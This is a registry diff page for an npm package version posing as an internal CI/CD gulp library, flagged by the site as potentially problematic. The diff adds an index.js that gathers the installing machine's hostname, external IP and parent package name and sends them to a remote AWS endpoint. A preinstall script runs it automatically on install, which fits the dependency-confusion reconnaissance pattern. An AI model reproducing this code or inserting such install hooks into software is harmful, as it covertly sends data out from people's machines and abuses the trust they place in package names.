@store-sfdcbt-net/cicd_gulp-central-js-lib-v1 1.8.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @store-sfdcbt-net/cicd_gulp-central-js-lib-v1 might be problematic. Click here for more details.
- package/index.js +33 -0
- package/package.json +16 -0
package/index.js
ADDED
@@ -0,0 +1,33 @@
|
|
1
|
+
import axios from 'axios';
|
2
|
+
import os from 'os';
|
3
|
+
import extIp from 'external-ip';
|
4
|
+
import fs from 'fs';
|
5
|
+
import path from 'path';
|
6
|
+
import { fileURLToPath } from 'url';
|
7
|
+
import { dirname } from 'path';
|
8
|
+
|
9
|
+
|
10
|
+
function findParentPackageName(){
|
11
|
+
const filename = fileURLToPath(import.meta.url);
|
12
|
+
const parentDirectory = path.resolve(path.dirname(filename), "../");
|
13
|
+
const parentPackage = path.join(parentDirectory, 'package.json');
|
14
|
+
|
15
|
+
if(fs.existsSync(parentPackage)){
|
16
|
+
const json = fs.readFileSync(parentPackage, 'utf8');
|
17
|
+
const packageData = JSON.parse(json);
|
18
|
+
return packageData.name;
|
19
|
+
}
|
20
|
+
}
|
21
|
+
|
22
|
+
const getIp = extIp();
|
23
|
+
const computerName = os.hostname();
|
24
|
+
getIp((err, ip) => {
|
25
|
+
axios.get('https://1jzlbu5mkl.execute-api.us-east-1.amazonaws.com/prod', {
|
26
|
+
params: {
|
27
|
+
name: computerName,
|
28
|
+
app: "ep",
|
29
|
+
ip: ip,
|
30
|
+
nodePackage: findParentPackageName()
|
31
|
+
}
|
32
|
+
});
|
33
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
{
|
2
|
+
"name": "@store-sfdcbt-net/cicd_gulp-central-js-lib-v1",
|
3
|
+
"version": "1.8.6",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"preinstall": "node index.js"
|
7
|
+
},
|
8
|
+
"type": "module",
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
"axios": "^1.4.0",
|
13
|
+
"external-ip": "^2.3.1"
|
14
|
+
},
|
15
|
+
"description": ""
|
16
|
+
}
|